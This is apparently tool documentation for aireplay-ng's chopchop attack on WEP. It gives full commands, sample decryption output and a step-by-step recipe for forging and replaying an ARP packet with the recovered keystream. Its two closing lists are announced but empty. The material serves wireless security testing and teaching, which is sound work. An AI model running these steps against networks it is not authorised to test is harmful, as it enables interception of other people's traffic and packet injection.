This attack, when successful, can decrypt a WEP data packet without knowing the key. It can even work against dynamic WEP. This attack does not recover the WEP key itself, but merely reveals the plaintext. However, some access points are not vulnerable to this attack. Some may seem vulnerable at first but actually drop data packets shorter that 60 bytes. If the access point drops packets shorter than 42 bytes, aireplay tries to guess the rest of the missing data, as far as the headers are predictable. If an IP packet is captured, it additionally checks if the checksum of the header is correct after guessing the missing parts of it. This attack requires at least one WEP data packet.
If you wish to learn more about the theory behind this attack, see ChopchopTheory.
aireplay-ng -4 -h 00:09:5B:EC:EE:F2 -b 00:14:6C:7E:40:80 ath0
Although it is not shown, you may use any of the other aireplay-ng filters. The main page of aireplay-ng has the complete list. Additional typical filters could be the -m and -n to set the minimum and maximum packet sizes to select.
If the “-h” option is omitted, then a unauthenticated chopchop attack is performed. See the example below for more details.
This is an example an authenticated chopchop attack. Meaning you must first perform a fake authentication and use the source MAC with the “-h” option. Essentially this causes all packets to be sent with the source MAC specified by “-h” and the destination MAC will vary with 256 combinations.
aireplay-ng -4 -h 00:09:5B:EC:EE:F2 -b 00:14:6C:7E:40:80 ath0
The system responds:
Read 165 packets... Size: 86, FromDS: 1, ToDS: 0 (WEP) BSSID = 00:14:6C:7E:40:80 Dest. MAC = FF:FF:FF:FF:FF:FF Source MAC = 00:40:F4:77:E5:C9 0x0000: 0842 0000 ffff ffff ffff 0014 6c7e 4080 .B..........l~@. 0x0010: 0040 f477 e5c9 603a d600 0000 5fed a222 .@.w..`:...._.." 0x0020: e2ee aa48 8312 f59d c8c0 af5f 3dd8 a543 ...H......._=..C 0x0030: d1ca 0c9b 6aeb fad6 f394 2591 5bf4 2873 ....j.....%.[.(s 0x0040: 16d4 43fb aebb 3ea1 7101 729e 65ca 6905 ..C...>.q.r.e.i. 0x0050: cfeb 4a72 be46 ..Jr.F Use this packet ? y
You respond “y” above and the system continues.
Saving chosen packet in replay_src-0201-191639.cap Offset 85 ( 0% done) | xor = D3 | pt = 95 | 253 frames written in 760ms Offset 84 ( 1% done) | xor = EB | pt = 55 | 166 frames written in 498ms Offset 83 ( 3% done) | xor = 47 | pt = 35 | 215 frames written in 645ms Offset 82 ( 5% done) | xor = 07 | pt = 4D | 161 frames written in 483ms Offset 81 ( 7% done) | xor = EB | pt = 00 | 12 frames written in 36ms Offset 80 ( 9% done) | xor = CF | pt = 00 | 152 frames written in 456ms Offset 79 (11% done) | xor = 05 | pt = 00 | 29 frames written in 87ms Offset 78 (13% done) | xor = 69 | pt = 00 | 151 frames written in 454ms Offset 77 (15% done) | xor = CA | pt = 00 | 24 frames written in 71ms Offset 76 (17% done) | xor = 65 | pt = 00 | 129 frames written in 387ms Offset 75 (19% done) | xor = 9E | pt = 00 | 36 frames written in 108ms Offset 74 (21% done) | xor = 72 | pt = 00 | 39 frames written in 117ms Offset 73 (23% done) | xor = 01 | pt = 00 | 146 frames written in 438ms Offset 72 (25% done) | xor = 71 | pt = 00 | 83 frames written in 249ms Offset 71 (26% done) | xor = A1 | pt = 00 | 43 frames written in 129ms Offset 70 (28% done) | xor = 3E | pt = 00 | 98 frames written in 294ms Offset 69 (30% done) | xor = BB | pt = 00 | 129 frames written in 387ms Offset 68 (32% done) | xor = AE | pt = 00 | 248 frames written in 744ms Offset 67 (34% done) | xor = FB | pt = 00 | 105 frames written in 315ms Offset 66 (36% done) | xor = 43 | pt = 00 | 101 frames written in 303ms Offset 65 (38% done) | xor = D4 | pt = 00 | 158 frames written in 474ms Offset 64 (40% done) | xor = 16 | pt = 00 | 197 frames written in 591ms Offset 63 (42% done) | xor = 7F | pt = 0C | 72 frames written in 217ms Offset 62 (44% done) | xor = 1F | pt = 37 | 166 frames written in 497ms Offset 61 (46% done) | xor = 5C | pt = A8 | 119 frames written in 357ms Offset 60 (48% done) | xor = 9B | pt = C0 | 229 frames written in 687ms Offset 59 (50% done) | xor = 91 | pt = 00 | 113 frames written in 339ms Offset 58 (51% done) | xor = 25 | pt = 00 | 184 frames written in 552ms Offset 57 (53% done) | xor = 94 | pt = 00 | 33 frames written in 99ms Offset 56 (55% done) | xor = F3 | pt = 00 | 193 frames written in 579ms Offset 55 (57% done) | xor = D6 | pt = 00 | 17 frames written in 51ms Offset 54 (59% done) | xor = FA | pt = 00 | 81 frames written in 243ms Offset 53 (61% done) | xor = EA | pt = 01 | 95 frames written in 285ms Offset 52 (63% done) | xor = 5D | pt = 37 | 24 frames written in 72ms Offset 51 (65% done) | xor = 33 | pt = A8 | 20 frames written in 59ms Offset 50 (67% done) | xor = CC | pt = C0 | 97 frames written in 291ms Offset 49 (69% done) | xor = 03 | pt = C9 | 188 frames written in 566ms Offset 48 (71% done) | xor = 34 | pt = E5 | 48 frames written in 142ms Offset 47 (73% done) | xor = 34 | pt = 77 | 64 frames written in 192ms Offset 46 (75% done) | xor = 51 | pt = F4 | 253 frames written in 759ms Offset 45 (76% done) | xor = 98 | pt = 40 | 109 frames written in 327ms Offset 44 (78% done) | xor = 3D | pt = 00 | 242 frames written in 726ms Offset 43 (80% done) | xor = 5E | pt = 01 | 194 frames written in 583ms Offset 42 (82% done) | xor = AF | pt = 00 | 99 frames written in 296ms Offset 41 (84% done) | xor = C4 | pt = 04 | 164 frames written in 492ms Offset 40 (86% done) | xor = CE | pt = 06 | 69 frames written in 207ms Offset 39 (88% done) | xor = 9D | pt = 00 | 137 frames written in 411ms Offset 38 (90% done) | xor = FD | pt = 08 | 229 frames written in 688ms Offset 37 (92% done) | xor = 13 | pt = 01 | 232 frames written in 695ms Offset 36 (94% done) | xor = 83 | pt = 00 | 19 frames written in 58ms Offset 35 (96% done) | xor = 4E | pt = 06 | 230 frames written in 689ms Sent 957 packets, current guess: B9... The AP appears to drop packets shorter than 35 bytes. Enabling standard workaround: ARP header re-creation. Saving plaintext in replay_dec-0201-191706.cap Saving keystream in replay_dec-0201-191706.xor Completed in 21s (2.29 bytes/s)
Success! The file “replay_dec-0201-191706.xor” above can then be used in the next step to generate a packet with packetforge-ng such as an arp packet. You may also use tcpdump or Wireshark to view the decrypted packet which is stored in replay_dec-0201-191706.cap.
This is an example of chopchop attack without authentication. Meaning you do not need to perform a fake authentication first and you omit the “-h” option. Essentially this causes all packets to be sent with the 256 random source MAC addresses and a broadcast destination MAC.
This only works with a very limited number Access Points (AP). For APs which are vulnerable, they will only send a deauthentication packet if the source packet was valid. If this is the case, then one byte has been successfully determined.
aireplay-ng -4 -b 00:14:6C:7E:40:80 ath0
1. First, we decrypt one packet
aireplay-ng -4 ath0
If this isn't successful, in most cases the access point just drops the data because it does not know the MAC which is sending it. In this case we have to use the MAC adress of a connected client which is allowed to send data over the network:
aireplay-ng -4 -h 00:09:5B:EB:C5:2B ath0
2. Let's have a look at the IP address
tcpdump -s 0 -n -e -r replay_dec-0627-022301.cap reading from file replay_dec-0627-022301.cap, link-type [...] IP 192.168.1.2 > 192.168.1.255: icmp 64: echo request seq 1
3. Then, forge an ARP request The source IP (192.168.1.100) doesn't matter, but the destination IP (192.168.1.2) must respond to ARP requests. The source MAC must belong to an associated station, in case the access point is filtering unauthenticated traffic.
packetforge-ng -0 -a 00:14:6C:7E:40:80 -h 00:09:5B:EB:C5:2B -k 192.168.1.2 -l 192.168.1.100 -y replay_dec-0627-022301.xor -w arp.cap
4. And replay our forged ARP request
aireplay-ng -2 -r arp.cap ath0
When to say no to a packet? You may ask if there are times when you should say “no” to selecting a specific packet. Here are some examples of when you might say no:
Also see the general aireplay-ng troubleshooting ideas: aireplay-ng usage troubleshooting.
Although not a direct troubleshooting tip for the chopchop attack, if you are unable to get the attack to work, there are some alternate attacks you should consider: